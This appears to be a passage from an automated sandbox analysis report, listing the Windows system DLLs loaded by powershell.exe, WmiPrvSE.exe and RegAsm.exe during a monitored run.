                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: fastprox.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mpclient.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: userenv.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: version.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: msasn1.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wmitomi.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mi.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: windows.storage.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wldp.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: profapi.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: sspicli.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: gpapi.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: comsvcs.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: cryptsp.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: rsaenh.dll
                  Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: cryptbase.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: linkinfo.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntshrui.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cscapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: taskflowdataengine.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cdp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: umpdc.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dsreg.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mscoree.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: apphelp.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: aclayers.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: kernel.appcore.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: version.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: vcruntime140_clr0400.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: uxtheme.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: cryptsp.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rsaenh.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: cryptbase.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sspicli.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: windows.storage.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wldp.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: profapi.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wbemcomn.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: edputil.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: amsi.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: userenv.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: textinputframework.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: coreuicomponents.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: coremessaging.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ntmarta.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: coremessaging.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wintypes.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wintypes.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wintypes.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rasapi32.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rasman.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rtutils.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mswsock.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winhttp.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ondemandconnroutehelper.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: iphlpapi.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dhcpcsvc6.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dhcpcsvc.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dnsapi.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rasadhlp.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: fwpuclnt.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: secur32.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: schannel.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mskeyprotect.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ntasn1.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ncrypt.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ncryptsslp.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msasn1.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: gpapi.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: avicap32.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msvfw32.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winmm.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winmm.dll
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: windowscodecs.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
